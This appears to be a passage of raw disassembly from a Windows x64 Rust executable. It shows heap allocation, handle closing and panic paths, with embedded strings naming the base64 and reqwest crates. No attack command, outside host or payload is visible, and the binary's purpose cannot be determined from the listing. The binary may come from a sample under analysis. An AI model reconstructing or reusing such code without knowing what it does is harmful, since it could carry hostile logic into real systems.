mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rax
test eax, eax
jne 0x14010ef05
mov rcx, qword [rbp + 0x23b0]
mov rax, 0xffffffffffffffff
lock cmpxchg qword [0x140195040], rcx
je 0x14010e674
mov r12, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, r12
mov r12, qword [rbp + 0x2928]
mov rax, qword [0x140195060]
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call rax
xor eax, eax
xchg byte [r15], al
lock dec qword [r12]
jne 0x14010e48c
jmp 0x14010e484
test rax, rax
jne 0x14010e6b3
mov r15, qword [rbp + 0x2448]
xor r14d, r14d
jmp 0x14010e6c0
mov r15, qword [rbp + 0x2448]
mov r14d, 1
mov rcx, qword [rbp + 0x1fb0]
mov rax, qword [rbp + 0x1fb8]
call qword [rax + 0x18]
test r14, r14
je 0x14010e6f7
test r15, r15
je 0x14010e755
je 0x14010e8c1
mov edi, r15d
and edi, 3
lea rcx, [0x14010f43c]
movsxd rax, dword [rcx + rdi*4]
add rax, rcx
jmp rax
mov esi, 0x2000
cmp r15, 0x2001
cmovae rsi, r15
jae 0x14010efd5
test r15, r15
je 0x14010e8c1
mov rax, qword [rbp + 0x2150]
mov r12, qword [rbp + 0x2160]
sub rax, r12
cmp rax, r15
jb 0x14010e860
mov rcx, qword [rbp + 0x2158]
add rcx, r12
lea rdx, [rbp - 0x50]
mov r8, r15
call fcn.140110cd0
add r12, r15
mov qword [rbp + 0x2160], r12
jmp 0x14010e0c6
mov rax, qword [0x140195bd0]
test rax, rax
jne 0x14010e777
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010eca2
mov qword [0x140195bd0], rax
mov r8d, 0x70
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010eca2
mov qword [rax], 1
lea rcx, [0x140155f70]
mov qword [rax + 8], rcx
mov dword [rax + 0x28], 2
mov word [rax + 0x68], 5
mov rcx, rax
call fcn.140061540
mov r15, rax
mov edi, r15d
and edi, 3
lea rcx, [0x14010f43c]
movsxd rax, dword [rcx + rdi*4]
add rax, rcx
jmp rax
movzx eax, byte [r15 + 0x10]
jmp 0x14010e7f0
cmp byte [r15 + 0xf], 0x23
je 0x14010e806
jmp 0x14010ea31
mov rcx, r15
shr rcx, 0x20
call fcn.1400deab0
cmp al, 0x23
jne 0x14010e99a
mov esi, 0x2000
cmp edi, 1
jne 0x14010e0c6
lea rsi, [r15 - 1]
mov rcx, qword [r15 - 1]
mov rax, qword [r15 + 7]
call qword [rax]
mov rax, qword [r15 + 7]
cmp qword [rax + 8], 0
je 0x14010e83c
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14010e82d
mov r8, qword [r8 - 8]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 0x2000
jmp 0x14010e0c6
xor r15d, r15d
jmp 0x14010e6c0
lea rcx, [rbp + 0x2150]
mov rdx, r12
mov r8, r15
call fcn.140122bf0
mov r12, qword [rbp + 0x2160]
jmp 0x14010e730
add rsi, 0x19
xor edx, edx
jmp case.0x14010d04f.1
add rsi, 0x1a
xor edx, edx
jmp case.0x14010d04f.1
add rsi, 0x1b
jmp 0x14010df0e
add rsi, 0x1c
jmp 0x14010df0e
add rsi, 0x1d
jmp 0x14010df0e
add rsi, 0x1e
jmp 0x14010df0e
add rsi, 0x1f
jmp 0x14010df0e
mov rsi, qword [rbp + 0x2158]
mov r8, qword [rbp + 0x2160]
lea rcx, [rbp + 0x2700]
mov rdx, rsi
call fcn.140107390
test rax, rax
je 0x14010e9b6
mov rcx, rax
call fcn.14010f7b0
mov rbx, rax
mov rsi, rdx
mov r15, qword [rbp + 0x2930]
mov r14, qword [rbp + 0x2918]
mov r12, qword [rbp + 0x2920]
jmp 0x14010eb5e
mov ecx, 0x10
mov r8b, 1
xor r15d, r15d
mov r13b, 1
xor r11d, r11d
jmp 0x14010e933
mov ecx, 0x18
mov r8b, 1
xor r11d, r11d
mov r13b, 1
mov r15b, 1
xor r10d, r10d
xor r9d, r9d
jmp case.0x14010dcde.0
mov ecx, 0x20
mov r8b, 1
xor r10d, r10d
mov r13b, 1
mov r15b, 1
mov r11b, 1
xor r9d, r9d
jmp case.0x14010dcde.0
mov ecx, 0x28
mov r8b, 1
xor r9d, r9d
mov r13b, 1
mov r15b, 1
mov r11b, 1
mov r10b, 1
jmp case.0x14010dcde.0
mov ecx, 0x30
mov r8b, 1
mov r13b, 1
mov r15b, 1
mov r11b, 1
mov r10b, 1
mov r9b, 1
jmp case.0x14010dcde.0
mov r8, rcx
jmp 0x14010ddca
cmp edi, 1
mov r14, qword [rbp + 0x2918]
mov r12, qword [rbp + 0x2920]
je 0x14010ea3f
jmp 0x14010eaa4
cmp qword [rbp + 0x2150], 0
mov r15, qword [rbp + 0x2930]
mov rdi, qword [rbp + 0x2918]
mov rbx, qword [rbp + 0x2920]
je 0x14010e9e7
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x2700]
call qword [sym.imp.kernel32.dll_CloseHandle]
test rbx, rbx
je 0x14010ebb9
mov rcx, qword [0x140195bd0]
xor ebx, ebx
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14010ce6b
add r14, r9
mov rsi, r14
jmp 0x14010dc9f
mov r14, qword [rbp + 0x2918]
mov r12, qword [rbp + 0x2920]
jmp 0x14010eaa4
mov r14, qword [rbp + 0x2918]
mov r12, qword [rbp + 0x2920]
mov rcx, qword [r15 - 1]
mov rax, qword [r15 + 7]
call qword [rax + 0x38]
movabs rdi, 0xb16aee41a8d7b528
cmp rax, rdi
jne 0x14010eaa4
lea r8, [r15 - 1]
mov rsi, qword [r15 - 1]
mov rbx, qword [r15 + 7]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rsi
call qword [rbx + 0x38]
cmp rax, rdi
jne 0x14010f051
mov rdi, qword [rsi]
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rbp + 0x2930]
jmp 0x14010eb50
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010eac9
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010ec98
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010ec98
mov rsi, rax
mov qword [rax], r15
mov rcx, qword [0x140195bd0]
test rcx, rcx
je 0x14010eafb
mov r15, qword [rbp + 0x2930]
jmp 0x14010eb1b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
mov r15, qword [rbp + 0x2930]
je 0x14010eca2
mov rcx, rdi
call fcn.14010f6d0
mov rbx, rax
mov rsi, rdx
cmp qword [rbp + 0x2150], 0
je 0x14010eb7e
mov r8, qword [rbp + 0x2158]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x2700]
call qword [sym.imp.kernel32.dll_CloseHandle]
test r12, r12
je 0x14010df92
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14010df92
add r14, r11
add r14, rcx
mov rsi, r14
jmp 0x14010df0e
xor ebx, ebx
jmp 0x14010ce6b
lea rcx, [0x14015a0d0]
lea r8, str.library_std_src_sys_commonmod.rs
mov edx, 0x19
call fcn.14011e130
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
xor ecx, ecx
xor edx, edx
call fcn.14011e090
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov ecx, 1
mov edx, 1
call fcn.14011e090
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov ecx, 2
mov edx, 2
call fcn.14011e090
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov ecx, 3
mov edx, 3
call fcn.14011e090
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov ecx, 4
mov edx, 4
call fcn.14011e090
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov ecx, 5
mov edx, 5
call fcn.14011e090
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov ecx, 6
mov edx, 6
call fcn.14011e090
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov ecx, 7
mov edx, 7
call fcn.14011e090
ud2
ud2
mov ecx, 8
jmp 0x14010b497
mov ecx, 0x70
jmp 0x14010b497
lea rcx, [0x14015a585]
lea r8, str.library_std_src_threadmod.rsuse_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
mov edx, 0x5e
call fcn.14011e3f0
ud2
mov rcx, r8
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rdx, r14
call fcn.14011e090
ud2
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14015aef8]
mov edx, 0x28
call fcn.14011e3f0
ud2
call fcn.140122ee0
ud2
mov ecx, 0x10
jmp 0x14010b497
mov ecx, 0x17
mov edx, 1
call fcn.14011dd70
ud2
mov ecx, 0x18
mov edx, 8
call fcn.14011dd70
jmp 0x14010ef77
lea rax, [0x14015b0f8]
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowed
lea r9, [0x14015a288]
lea r8, [rbp + 0x27c0]
mov edx, 0x10
call fcn.14011e350
jmp 0x14010ef77
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x2440], rax
lea rax, str.library_std_src_syswindows_time.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400e3f10
lea r8, [rbp + 0x2440]
mov edx, 0x2b
call fcn.14011e350
jmp 0x14010ef77
lea rcx, [0x140128fed]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov edx, 0x33
call fcn.14011e3f0
ud2
add rsi, 8
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rcx, 0xfffffffffffffff8
mov rdx, rsi
call fcn.14011e340
ud2
add rsi, 8
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
jmp 0x14010ee41
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rdx, rax
call fcn.14011e340
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rcx, rax
jmp 0x14010eed1
lea rcx, [0x14015a585]
lea r8, str.library_std_src_threadmod.rsuse_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
mov edx, 0x5e
call fcn.14011e3f0
jmp 0x14010ef77
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rcx, 0xffffffffffffffe0
xor edx, edx
call fcn.14011e340
ud2
add rsi, 0x20
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rcx, rsi
mov rdx, rdi
call fcn.14011e120
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rcx, rax
mov rdx, qword [rbp + 0x2918]
call fcn.14011e120
ud2
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x2440], rax
lea rax, str.library_std_src_syswindows_time.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400e3f10
lea r8, [rbp + 0x2440]
mov edx, 0x2b
call fcn.14011e350
jmp 0x14010ef77
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
jmp 0x14010eef8
lea rdx, [rcx + 6]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
call fcn.14011e340
ud2
add rcx, 6
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rdx, r14
call fcn.14011e120
ud2
lea r8, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrary_std_srcio_readbuf.rs
mov edx, 0x2000
mov rcx, rsi
call fcn.14011e110
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rcx, r13
mov rdx, rdi
call fcn.14011e110
ud2
mov dword [rbp + 0x2230], eax
lea rax, [rbp + 0x2230]
mov qword [rbp + 0x2590], rax
lea rax, [0x14000bfc0]
mov qword [rbp + 0x2598], rax
lea rax, str.Unable_to_create_keyed_event_handle:_error
mov qword [rbp + 0x2450], rax
mov qword [rbp + 0x2458], 1
mov qword [rbp + 0x2440], 0
lea rax, [rbp + 0x2590]
mov qword [rbp + 0x2460], rax
mov qword [rbp + 0x2468], 1
lea rdx, str.library_std_src_syswindows_thread_parking.rs
lea rcx, [rbp + 0x2440]
call fcn.14011e050
ud2
mov ecx, 0x50
jmp 0x14010b497
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0x2450], rax
mov qword [rbp + 0x2458], 1
mov qword [rbp + 0x2440], 0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov qword [rbp + 0x2460], rax
mov qword [rbp + 0x2468], 0
lea rdx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_time.rs_
lea rcx, [rbp + 0x2440]
call fcn.14011e050
ud2
lea r8, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrary_std_srcio_readbuf.rs
mov edx, 0x2000
mov rcx, r15
call fcn.14011e120
ud2
mov ecx, 0x28
jmp 0x14010b497
lea rax, str.Impossible:_must_only_have_0_to_8_input_bytes_in_last_chunk__with_no_invalid_lengths
mov qword [rbp + 0x2590], rax
lea rax, [0x1400ef600]
mov qword [rbp + 0x2598], rax
lea rax, str.internal_error:_entered_unreachable_code:
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x50], 0
lea rax, [rbp + 0x2590]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
lea rcx, [rbp - 0x50]
call fcn.14011e050
ud2
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rbx
lea rax, [0x140155230]
mov qword [rsp + 0x20], rax
lea rcx, str.StdError::is___was_trueC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.18_srcerror.rs
lea r9, [0x1401547a0]
lea r8, [rbp - 0x50]
mov edx, 0x17
call fcn.14011e350
ud2